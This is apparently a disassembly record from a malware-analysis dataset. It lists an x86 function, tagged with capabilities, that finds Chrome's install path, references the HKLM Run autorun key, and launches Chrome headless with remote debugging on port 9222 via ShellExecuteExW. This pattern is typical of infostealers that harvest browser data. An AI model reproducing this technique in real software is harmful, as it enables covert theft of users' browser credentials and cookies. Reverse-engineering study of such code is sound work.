Function at 0x40cb09
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x489e0b
mov eax, dword fs:[0]
push eax
sub esp, 0x498
mov eax, dword [0x4bc760]
xor eax, esp
mov dword [esp + 0x490], eax
push ebx
push esi
push edi
mov eax, dword [0x4bc760]
xor eax, esp
push eax
lea eax, [esp + 0x4a8]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x20], esi
xor ebx, ebx
mov dword [esp + 0x18], ebx
cmp byte [esi + 0x10f8], bl
jne 0x40d459
lea eax, [esp + 0x424]
push eax
call fcn.0042d82f
and dword [esp + 0x4b0], ebx
lea ecx, [esp + 0x24]
push eax
call fcn.0040deca
lea ecx, [esp + 0x424]
mov byte [esp + 0x4b0], 2
call fcn.004045c4
mov edi, dword [esp + 0x24]
cmp edi, dword [esp + 0x28]
je 0x40d449
lea eax, [esi + 0xf58]
add edi, 0x40
mov dword [esp + 0x1c], eax
push edi
mov edx, str.__headless___disable_gpu___remote_debugging_port9222
lea ecx, [esp + 0x8c]
call fcn.0040ef09
pop ecx
push 1
push eax
lea ecx, [esp + 0x210]
mov byte [esp + 0x4b8], 3
call fcn.004111f5
push 0
push 1
lea ecx, [esp + 0x90]
mov byte [esp + 0x4b8], 5
call fcn.00403790
push ecx
push 0x4a3a51
lea ecx, [esp + 0x110]
call fcn.004112cc
sub esp, 0xc
mov byte [esp + 0x4bc], 6
mov ecx, esp
push dword [esp + 0x28]
call fcn.00404fd3
lea ecx, [edi - 0x40]
call fcn.00433e01
add esp, 0xc
test al, al
je 0x40cc45
push ecx
push 0x4a3a51
lea ecx, [esp + 0xdc]
call fcn.004112cc
lea ecx, [esp + 0xd4]
call fcn.004114c7
push ecx
push 0x4a3b88
lea ecx, [esp + 0xa8]
call fcn.004112cc
mov byte [esp + 0x4b0], 7
lea ecx, [edi + 0x104]
or ebx, 1
lea edx, [esp + 0xa0]
mov dword [esp + 0x18], ebx
call fcn.004123ec
test al, al
je 0x40cc9e
sub esp, 0xc
mov ecx, esp
push dword [esp + 0x28]
call fcn.00404fd3
lea ecx, [edi - 0x40]
call fcn.00433e01
add esp, 0xc
mov byte [esp + 0x17], 1
test al, al
jne 0x40cca3
mov byte [esp + 0x17], 0
mov dword [esp + 0x4b0], 6
test bl, 1
je 0x40ccc2
lea ecx, [esp + 0xa0]
and ebx, 0xfffffffe
call fcn.004114c7
cmp byte [esp + 0x17], 0
je 0x40d412
and dword [esp + 0x18], 0
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [esp + 0x18], 0
lea ecx, [esp + 0x88]
je 0x40d041
push str.ProgramFiles_x86_
call fcn.00404eb9
lea edx, [esp + 0x88]
mov byte [esp + 0x4b0], 8
lea ecx, [esp + 0x13c]
call fcn.00432ecd
push str.GoogleChromeApplicationchrome.exe
mov edx, eax
mov byte [esp + 0x4b4], 9
lea ecx, [esp + 0x158]
call fcn.00405711
push eax
lea ecx, [esp + 0xa8]
mov byte [esp + 0x4b8], 0xa
call fcn.00411275
lea eax, [esp + 0xa0]
mov byte [esp + 0x4b0], 0xb
push eax
lea ecx, [esp + 0x40]
call fcn.0040ff20
lea ecx, [esp + 0xa0]
call fcn.004114c7
push 0
push 1
lea ecx, [esp + 0x15c]
call fcn.0040513f
push 0
push 1
lea ecx, [esp + 0x144]
call fcn.0040513f
push 0
push 1
lea ecx, [esp + 0x90]
mov byte [esp + 0x4b8], 0x10
call fcn.0040513f
lea ecx, [esp + 0x3c]
call fcn.0041020a
test al, al
je 0x40d038
push ecx
push str.chrome
lea ecx, [esp + 0x278]
call fcn.004112cc
push ecx
push str.HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
lea ecx, [esp + 0x1a8]
mov byte [esp + 0x4b8], 0x11
call fcn.004112cc
lea eax, [esp + 0x270]
mov byte [esp + 0x4b0], 0x12
push eax
lea eax, [esp + 0x1a4]
push eax
lea ecx, [esp + 0x2ac]
call fcn.00427cf7
lea ecx, [esp + 0x1a0]
call fcn.004114c7
lea ecx, [esp + 0x270]
mov byte [esp + 0x4b0], 0x15
call fcn.004114c7
push ecx
push 0x4a3d88
lea ecx, [esp + 0xdc]
call fcn.004112cc
push ecx
push str.___headless___disable_gpu___remote_debugging_port9222
lea ecx, [esp + 0x1dc]
mov byte [esp + 0x4b8], 0x16
call fcn.004112cc
push ecx
push 0x4a3d84
lea ecx, [esp + 0x244]
mov byte [esp + 0x4b8], 0x17
call fcn.00411337
lea eax, [esp + 0x16c]
mov byte [esp + 0x4b0], 0x18
push eax
lea ecx, [esp + 0x40]
call fcn.0040fff2
mov esi, eax
push ecx
push 0x4a3d84
lea ecx, [esp + 0x390]
mov byte [esp + 0x4b8], 0x19
call fcn.00411337
push esi
lea ecx, [esp + 0x3f4]
mov byte [esp + 0x4b4], 0x1a
push ecx
mov ecx, eax
call fcn.0041151d
lea ecx, [esp + 0x23c]
mov byte [esp + 0x4b0], 0x1b
push ecx
lea ecx, [esp + 0x2f0]
push ecx
mov ecx, eax
call fcn.0041151d
lea ecx, [esp + 0x1d4]
mov byte [esp + 0x4b0], 0x1c
push ecx
lea ecx, [esp + 0x358]
push ecx
mov ecx, eax
call fcn.0041151d
mov byte [esp + 0x4b0], 0x1d
lea ecx, [esp + 0xd4]
push ecx
lea ecx, [esp + 0x324]
push ecx
mov ecx, eax
call fcn.0041151d
push edi
lea ecx, [esp + 0x3c0]
mov byte [esp + 0x4b4], 0x1e
push ecx
mov ecx, eax
call fcn.0041151d
add eax, 0x18
mov byte [esp + 0x4b0], 0x1f
cmp dword [eax + 0x14], 8
jb 0x40cf44
mov eax, dword [eax]
push ecx
push eax
lea ecx, [esp + 0xa8]
call fcn.00411337
lea eax, [esp + 0xa0]
mov byte [esp + 0x4b0], 0x20
push eax
lea ecx, [esp + 0x2a8]
call fcn.00427ebd
lea ecx, [esp + 0xa0]
call fcn.004114c7
lea ecx, [esp + 0x3bc]
call fcn.004114c7
lea ecx, [esp + 0x320]
call fcn.004114c7
lea ecx, [esp + 0x354]
call fcn.004114c7
lea ecx, [esp + 0x2ec]
call fcn.004114c7
lea ecx, [esp + 0x3f0]
call fcn.004114c7
lea ecx, [esp + 0x388]
call fcn.004114c7
lea ecx, [esp + 0x16c]
call fcn.004114c7
lea ecx, [esp + 0x23c]
call fcn.004114c7
lea ecx, [esp + 0x1d4]
call fcn.004114c7
lea ecx, [esp + 0xd4]
mov byte [esp + 0x4b0], 0x15
call fcn.004114c7
lea eax, [esp + 0x16c]
push eax
lea ecx, [esp + 0x40]
call fcn.0040fff2
push eax
lea ecx, [esp + 0x10c]
mov byte [esp + 0x4b4], 0x21
call fcn.004114e3
lea ecx, [esp + 0x16c]
call fcn.004114c7
lea ecx, [esp + 0x2a4]
call fcn.00427e1e
lea ecx, [esp + 0x3c]
jmp 0x40d387
push str.ProgramFiles
call fcn.00404eb9
lea edx, [esp + 0x88]
mov byte [esp + 0x4b0], 0x22
lea ecx, [esp + 0x154]
call fcn.00432ecd
push str.GoogleChromeApplicationchrome.exe
mov edx, eax
mov byte [esp + 0x4b4], 0x23
lea ecx, [esp + 0x140]
call fcn.00405711
push eax
lea ecx, [esp + 0xdc]
mov byte [esp + 0x4b8], 0x24
call fcn.00411275
lea eax, [esp + 0xd4]
mov byte [esp + 0x4b0], 0x25
push eax
lea ecx, [esp + 0x34]
call fcn.0040ff20
lea ecx, [esp + 0xd4]
call fcn.004114c7
push 0
push 1
lea ecx, [esp + 0x144]
call fcn.0040513f
push 0
push 1
lea ecx, [esp + 0x15c]
call fcn.0040513f
push 0
push 1
lea ecx, [esp + 0x90]
mov byte [esp + 0x4b8], 0x2a
call fcn.0040513f
lea ecx, [esp + 0x30]
call fcn.0041020a
test al, al
je 0x40d383
push ecx
push str.chrome
lea ecx, [esp + 0x244]
call fcn.004112cc
push ecx
push str.HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
lea ecx, [esp + 0x1dc]
mov byte [esp + 0x4b8], 0x2b
call fcn.004112cc
lea eax, [esp + 0x23c]
mov byte [esp + 0x4b0], 0x2c
push eax
lea eax, [esp + 0x1d8]
push eax
lea ecx, [esp + 0x2ac]
call fcn.00427cf7
lea ecx, [esp + 0x1d4]
call fcn.004114c7
lea ecx, [esp + 0x23c]
mov byte [esp + 0x4b0], 0x2f
call fcn.004114c7
push ecx
push 0x4a3d88
lea ecx, [esp + 0xa8]
call fcn.004112cc
push ecx
push str.___headless___disable_gpu___remote_debugging_port9222
lea ecx, [esp + 0x1a8]
mov byte [esp + 0x4b8], 0x30
call fcn.004112cc
push ecx
push 0x4a3d84
lea ecx, [esp + 0x278]
mov byte [esp + 0x4b8], 0x31
call fcn.00411337
lea eax, [esp + 0x3bc]
mov byte [esp + 0x4b0], 0x32
push eax
lea ecx, [esp + 0x34]
call fcn.0040fff2
mov esi, eax
push ecx
push 0x4a3d84
lea ecx, [esp + 0x328]
mov byte [esp + 0x4b8], 0x33
call fcn.00411337
push esi
lea ecx, [esp + 0x358]
mov byte [esp + 0x4b4], 0x34
push ecx
mov ecx, eax
call fcn.0041151d
lea ecx, [esp + 0x270]
mov byte [esp + 0x4b0], 0x35
push ecx
lea ecx, [esp + 0x2f0]
push ecx
mov ecx, eax
call fcn.0041151d
lea ecx, [esp + 0x1a0]
mov byte [esp + 0x4b0], 0x36
push ecx
lea ecx, [esp + 0x3f4]
push ecx
mov ecx, eax
call fcn.0041151d
mov byte [esp + 0x4b0], 0x37
lea ecx, [esp + 0xa0]
push ecx
lea ecx, [esp + 0x38c]
push ecx
mov ecx, eax
call fcn.0041151d
push edi
lea ecx, [esp + 0x170]
mov byte [esp + 0x4b4], 0x38
push ecx
mov ecx, eax
call fcn.0041151d
add eax, 0x18
mov byte [esp + 0x4b0], 0x39
cmp dword [eax + 0x14], 8
jb 0x40d28f
mov eax, dword [eax]
push ecx
push eax
lea ecx, [esp + 0xdc]
call fcn.00411337
lea eax, [esp + 0xd4]
mov byte [esp + 0x4b0], 0x3a
push eax
lea ecx, [esp + 0x2a8]
call fcn.00427ebd
lea ecx, [esp + 0xd4]
call fcn.004114c7
lea ecx, [esp + 0x16c]
call fcn.004114c7
lea ecx, [esp + 0x388]
call fcn.004114c7
lea ecx, [esp + 0x3f0]
call fcn.004114c7
lea ecx, [esp + 0x2ec]
call fcn.004114c7
lea ecx, [esp + 0x354]
call fcn.004114c7
lea ecx, [esp + 0x320]
call fcn.004114c7
lea ecx, [esp + 0x3bc]
call fcn.004114c7
lea ecx, [esp + 0x270]
call fcn.004114c7
lea ecx, [esp + 0x1a0]
call fcn.004114c7
lea ecx, [esp + 0xa0]
mov byte [esp + 0x4b0], 0x2f
call fcn.004114c7
lea eax, [esp + 0x16c]
push eax
lea ecx, [esp + 0x34]
call fcn.0040fff2
push eax
lea ecx, [esp + 0x10c]
mov byte [esp + 0x4b4], 0x3b
call fcn.004114e3
lea ecx, [esp + 0x16c]
call fcn.004114c7
lea ecx, [esp + 0x2a4]
call fcn.00427e1e
lea ecx, [esp + 0x30]
mov byte [esp + 0x4b0], 6
call fcn.004037d4
cmp dword [esp + 0x118], 0
je 0x40d412
push 0x3c
pop esi
push esi
lea eax, [esp + 0x50]
push 0
push eax
call fcn.0046ca80
add esp, 0xc
mov dword [esp + 0x4c], esi
cmp dword [esp + 0x134], 8
lea eax, [esp + 0x120]
mov dword [esp + 0x50], 0x440
cmovae eax, dword [esp + 0x120]
cmp dword [esp + 0x234], 8
mov dword [esp + 0x5c], eax
lea eax, [esp + 0x220]
cmovae eax, dword [esp + 0x220]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x4c]
push eax
mov dword [esp + 0x5c], str.open
mov dword [esp + 0x6c], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x40d47d
lea ecx, [esp + 0x108]
call fcn.004114c7
lea ecx, [esp + 0x208]
mov byte [esp + 0x4b0], 2
call fcn.004114c7
add edi, 0x26c
lea eax, [edi - 0x40]
cmp eax, dword [esp + 0x28]
jne 0x40cbae
mov esi, dword [esp + 0x20]
lea ecx, [esp + 0x24]
call fcn.004051f3
mov byte [esi + 0x10f8], 1
mov ecx, dword [esp + 0x4a8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x490]
xor ecx, esp
call fcn.0046a3dd
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x108]
call fcn.004114c7
lea ecx, [esp + 0x208]
call fcn.004114c7
lea ecx, [esp + 0x24]
call fcn.004051f3
jmp 0x40d459